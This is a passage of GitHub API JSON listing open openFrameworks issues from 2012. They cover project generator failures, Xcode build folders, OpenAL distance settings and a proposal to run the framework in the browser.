users","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":2,"created_at":"2012-06-16T12:17:23Z","updated_at":"2013-02-11T12:16:05Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"http://forum.openframeworks.cc/index.php/topic,10053.0\n\nwould be good to investigate this @gameoverhack \n "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1329","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1329/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1329/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1329/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1329","id":5086630,"number":1329,"title":"command-line projectGenerator needs to be able to reconfigure OF-root path","user":{"login":"pierrep","id":392160,"avatar_url":"https://secure.gravatar.com/avatar/be11c9de8242e7aef0446eceaa289e01?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"be11c9de8242e7aef0446eceaa289e01","url":"https://api.github.com/users/pierrep","html_url":"https://github.com/pierrep","followers_url":"https://api.github.com/users/pierrep/followers","following_url":"https://api.github.com/users/pierrep/following","gists_url":"https://api.github.com/users/pierrep/gists{/gist_id}","starred_url":"https://api.github.com/users/pierrep/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pierrep/subscriptions","organizations_url":"https://api.github.com/users/pierrep/orgs","repos_url":"https://api.github.com/users/pierrep/repos","events_url":"https://api.github.com/users/pierrep/events{/privacy}","received_events_url":"https://api.github.com/users/pierrep/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":1,"created_at":"2012-06-15T05:41:09Z","updated_at":"2013-02-11T12:12:35Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I accidentally set the wrong OF root path, and ended up having to dig in the source code and then the config files to figure out how to reset it. Would be good for the command-line version to have an option to reset the root path. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1328","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1328/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1328/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1328/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1328","id":5075658,"number":1328,"title":"xcode 4 doesn't put obj files near the xcode project","user":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-06-14T17:41:40Z","updated_at":"2012-06-14T17:41:40Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"there seems to be conflicting settings for \"per configuration intermediate build files\", and so therefore, there's no \"build\" folder with obj files near the project. This is an issue on some systems which require admin access to the dev folder, where those objs are winding up. it's also just harder to track build / obj files with this newer default approach of apple. \n\nwe should get xcode 4 to operate more like xcode 3 if we can. \n\nI believe it's it's related to this forum post: \n\nhttp://forum.openframeworks.cc/index.php?topic=10064.new;topicseen#new"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1326","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1326/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1326/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1326/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1326","id":5054867,"number":1326,"title":"project makefiles should trigger OF lib rebuild if necessary.","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"milestone":null,"comments":0,"created_at":"2012-06-13T19:10:28Z","updated_at":"2012-06-13T19:10:28Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"It would be great if the makefiles of projects would trigger a (re)build of the OF library if it is necessary (changed files, no library, etc).\nThis would also solve issues like in [this forum thread](http://forum.openframeworks.cc/index.php/topic,9962). It would also save having to manually rebuild the library if you just use plain make files without an IDE/project, for quick tests etc.\n\nIs this technically feasible, @arturoc ?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1322","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1322/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1322/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1322/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1322","id":5010394,"number":1322,"title":"ofxOpenALSoundPlayer ReferenceDistance and MaxDistance not behaving as expected","user":{"login":"armadillu","id":167057,"avatar_url":"https://secure.gravatar.com/avatar/b87a82d7c86161432ee6388c7cbd5e2c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b87a82d7c86161432ee6388c7cbd5e2c","url":"https://api.github.com/users/armadillu","html_url":"https://github.com/armadillu","followers_url":"https://api.github.com/users/armadillu/followers","following_url":"https://api.github.com/users/armadillu/following","gists_url":"https://api.github.com/users/armadillu/gists{/gist_id}","starred_url":"https://api.github.com/users/armadillu/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/armadillu/subscriptions","organizations_url":"https://api.github.com/users/armadillu/orgs","repos_url":"https://api.github.com/users/armadillu/repos","events_url":"https://api.github.com/users/armadillu/events{/privacy}","received_events_url":"https://api.github.com/users/armadillu/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":1,"created_at":"2012-06-11T19:41:06Z","updated_at":"2013-02-11T12:16:04Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofxALSoundSetReferenceDistance() and ofxALSoundSetMaxDistance() don't seem to behave as expected. \n\nOne would expect sounds not to be heard at all when the sound source is beyond the MaxDistance, but this is not the case on the default setup. I think it is because of the sound model openAL comes set with.\n\nI found the ofxALSoundSetReferenceDistance() and ofxALSoundSetMaxDistance() to make perfect sense when setting the linear sound model by calling this:\n\nalDistanceModel(AL_LINEAR_DISTANCE_CLAMPED); \n\nI feel this sound model should be set by default, or at least give the API a method hinting that different sound models exist.\n\nI made a video demonstrating the issue here: http://www.youtube.com/watch?v=7Gz2x8R01jE"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1319","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1319/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1319/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1319/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1319","id":4985616,"number":1319,"title":"oF in HTML5","user":{"login":"gimlids","id":186277,"avatar_url":"https://secure.gravatar.com/avatar/cc4cace34c61103f0624002a692820f7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"cc4cace34c61103f0624002a692820f7","url":"https://api.github.com/users/gimlids","html_url":"https://github.com/gimlids","followers_url":"https://api.github.com/users/gimlids/followers","following_url":"https://api.github.com/users/gimlids/following","gists_url":"https://api.github.com/users/gimlids/gists{/gist_id}","starred_url":"https://api.github.com/users/gimlids/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gimlids/subscriptions","organizations_url":"https://api.github.com/users/gimlids/orgs","repos_url":"https://api.github.com/users/gimlids/repos","events_url":"https://api.github.com/users/gimlids/events{/privacy}","received_events_url":"https://api.github.com/users/gimlids/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":8,"created_at":"2012-06-09T15:58:45Z","updated_at":"2012-06-10T13:55:35Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Issue: openFrameworks does not run in the web browser.\n\nSolution: the emscripten backend for the LLVM compiler generates JavaScript, many C++ OpenGL projects have been demonstrated running in the browser with WebGL.\n\nIs anyone interested in this?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1314","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1314/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1314/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1314/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1314","id":4954019,"number":1314,"title":"PG overwrites .cbp's of different platforms","user":{"login":"sphaero","id":832465,"avatar_url":"https://secure.gravatar.com/avatar/f17e8b6636b46f5bfacbda5854842eb9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"f17e8b6636b46f5bfacbda5854842eb9","url":"https://api.github.com/users/sphaero","html_url":"https://github.com/sphaero","followers_url":"https://api.github.com/users/sphaero/followers","following_url":"https://api.github.com/users/sphaero/following","gists_url":"https://api.github.com/users/sphaero/gists{/gist_id}","starred_url":"https://api.github.com/users/sphaero/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sphaero/subscriptions","organizations_url":"https://api.github.com/users/sphaero/orgs","repos_url":"https://api.github.com/users/sphaero/repos","events_url":"https://api.github.com/users/sphaero/events{/privacy}","received_events_url":"https://api.github.com/users/sphaero/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-06-07T16:44:27Z","updated_at":"2012-06-07T16:44:27Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"If I create a simple test project including a linux64 and win CB projects I end up with only one test.cbp. It seems it overwrites itself since all platforms share the same name...\n\nsuggestion... use names like _ i.e. testApp_linux.cbp, testApp_linux64.cbp, test_win.cbp etc\n\nIf that's not already on the roadmap....\n\nI tested with the develop branch"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1312","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1312/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1312/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1312/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1312","id":4948268,"number":1312,"title":"ofURLFileLoader doesn't timeout or handle exceptions","user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2012-06-07T11:18:27Z","updated_at":"2012-09-13T20:56:07Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"If you issue a URL to ofURLFileLoader and the http subsystem triggers an exception (no route to host is the easiest to test -- just unplug your network), then the URL request will sit in the request queue forever. Turn on OF_LOG_VERBOSE and watch the console output.\n\nThere should be better exception handling, and/or there should be a timeout of some kind."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1306","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1306/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1306/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1306/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1306","id":4924361,"number":1306,"title":"projectGenerator fails when run from command line with target folder","user":{"login":"tarcoles","id":1822092,"avatar_url":"https://secure.gravatar.com/avatar/2399652e50fade7a5d8404203b31a61f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2399652e50fade7a5d8404203b31a61f","url":"https://api.github.com/users/tarcoles","html_url":"https://github.com/tarcoles","followers_url":"https://api.github.com/users/tarcoles/followers","following_url":"https://api.github.com/users/tarcoles/following","gists_url":"https://api.github.com/users/tarcoles/gists{/gist_id}","starred_url":"https://api.github.com/users/tarcoles/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tarcoles/subscriptions","organizations_url":"https://api.github.com/users/tarcoles/orgs","repos_url":"https://api.github.com/users/tarcoles/repos","events_url":"https://api.github.com/users/tarcoles/events{/privacy}","received_events_url":"https://api.github.com/users/tarcoles/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":8,"created_at":"2012-06-06T07:50:15Z","updated_at":"2013-02-11T12:16:04Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"If I run the projectGenerator without arguments and use the provided GUI, I can create a new project.\n\nBut if I try to run it as a command line tool it fails halfway through. I would guess a step to make the source folders is missing:\n\n mkdir ~/Public/carne\n\n ./projectGenerator --linux64 ~/Public/carne\n OF: OF_LOG_ERROR: Error: Missing GL version\n\n OF: OF_LOG_ERROR: ofDirectoryLister::listDirectory() error opening directory /home/gabriel/Public/carne/src/\n\n tree ~/Public/carne\n /home/gabriel/Public/carne\n |-- carne.cbp\n |-- carne.workspace\n |-- config.make\n `-- Makefile\n\n 0 directories, 4 files\n\nThis has been reproduced on Debian GNU/Linux wheezy/sid 64bit and Ubuntu 32bit"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1299","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1299/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1299/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1299/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1299","id":4861832,"number":1299,"title":"projectGenerator VS2010 release mode : no AdditionalIncludeDirectories","user":{"login":"sloopidoopi","id":248498,"avatar_url":"https://secure.gravatar.com/avatar/69d034865cb1f775bb1e0b47ff0580b2?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"69d034865cb1f775bb1e0b47ff0580b2","url":"https://api.github.com/users/sloopidoopi","html_url":"https://github.com/sloopidoopi","followers_url":"https://api.github.com/users/sloopidoopi/followers","following_url":"https://api.github.com/users/sloopidoopi/following","gists_url":"https://api.github.com/users/sloopidoopi/gists{/gist_id}","starred_url":"https://api.github.com/users/sloopidoopi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sloopidoopi/subscriptions","organizations_url":"https://api.github.com/users/sloopidoopi/orgs","repos_url":"https://api.github.com/users/sloopidoopi/repos","events_url":"https://api.github.com/users/sloopidoopi/events{/privacy}","received_events_url":"https://api.github.com/users/sloopidoopi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"}],"state":"open","assignee":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":1,"created_at":"2012-06-01T17:50:14Z","updated_at":"2013-02-11T12:16:04Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"In the projectGenerator.vcxproj the AdditionalIncludeDirectories for the release mode are missing. (I copied the entries from the debug mode for testing and compilaton worked)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1292","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1292/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1292/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1292/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1292","id":4840460,"number":1292,"title":"ofSetVerticalSync(false) no effect, other framerate 